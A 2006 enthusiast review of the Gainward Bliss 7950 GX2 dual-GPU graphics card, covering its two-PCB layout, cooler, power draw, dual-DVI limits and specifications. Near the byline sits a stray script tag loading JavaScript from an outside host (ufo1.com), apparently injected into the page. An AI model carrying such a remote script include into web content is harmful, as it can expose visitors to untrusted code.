Gainward Bliss 7950 GX2

Close up - Gainward 7950 GX2

Published: 25th September 2006 | Source: Gainward | Price: | Author: Matt Kemp

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 23/09/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Gainward

The card itself

The 7950 GX2 is unlike any card we've tested before in that it has two coolers on it. With two PCB's and two coolers this card is dual slot and "Dual Core". I use parenthesis as this is two physical cores on two PCB's with a "bridge" connecter between them. nVidia have gone this way, rather than the unified shader pipelines that ATI have started doing in their top-line cards.

Gainward seem to be using the reference cooler for their implementation of the 7950. This is similar to the design we saw on the XFX 7900GT which was a decent cooler in its own right. Will this cooler be enough to keep the card cool and quite? We'll see later on.

The front PCB seems to be fairly bare, with little capacitors and resisters that usually adorn most modern GPU's. This is most likely due to there being two PCB's connected on one card. Gainward have branded the cooler with a not-unattractive red plastic label. It seems they have used the stock fan from the reference card un their cooler as well.

The rear of the card shows hints as to where the memory modules are kept on the cards. They are set on the far left (from behind) and there appears to be 8 of them. I did not completely disassemble the card, but I think this is an accurate guess. Although not shown for comparison, the card is shorter than the 7900GTX, meaning that it is far more likely to fit in smaller chassis than its single core top-end counterpart.

We see that the cooler has the fins crimped up to enable more surface area. The heatsink design seems to have entirely aluminium fins on it.

Here we can see the interconnect on the card. It looks like nVidia have quite literally paired up two 7900GT's into one "single card SLI" bundle.

Continuing on the "two for one" theme, nVidia have only used one 6-pin PCI-E power connecter to power both GPU's. nVidia claim that the card only comsumes 145w of power as compared to the 80w of the single 7900GT. That's pretty good going for two on the same PCB.

The card has dual DVI out...with a "but". If you are running in SLI mode (i.e. full performance mode with dual GPU's enabled): you cannot run dual monitors. The card will either run in Dual display mode or dual GPU mode. Not a bonus for those who wants big performance with more than one monitor.

Specification

As taken from Gainward's Site:

* Barcode: 471846200-7920

* GPU: NVIDIA GeForce 7950GX2

* GPU Clockspeed: 500 MHz

* Memory: 1024MB 1,4ns DDR3

* Memory Clockspeed: 1200 MHz

* Pixels per clock (peak) : 48

* Bandwidth: 76,8 GB/s

* Ramdac: 400 MHz

* Bus: PCI-Express

* Cooling: Fan (Two-slot)

* Video-Features: Component, S-Video & Composite Out

* Connectivity: Dvi + Dvi + Video-Out

The Cooler

The cooler looks to be the same ilk that the 7900GT was bred from. With a smallish size fan and two GPU's on one card, you would certainly think it would run very loud. To my surprise it doesn't, and is pretty efficient. Though not as quiet as the cooler on the 7900GTX, the cooler is barely audible in the case under full load. The card does kick out some heat into the case, but the back of the PCB stays pretty cool, unlike that of the X1950XTX.

The cooler managed to keep the GPU recorded temperature in nVidia's drivers at 76°C at full load. Not too bad seeing as there's two of them squeezed in there.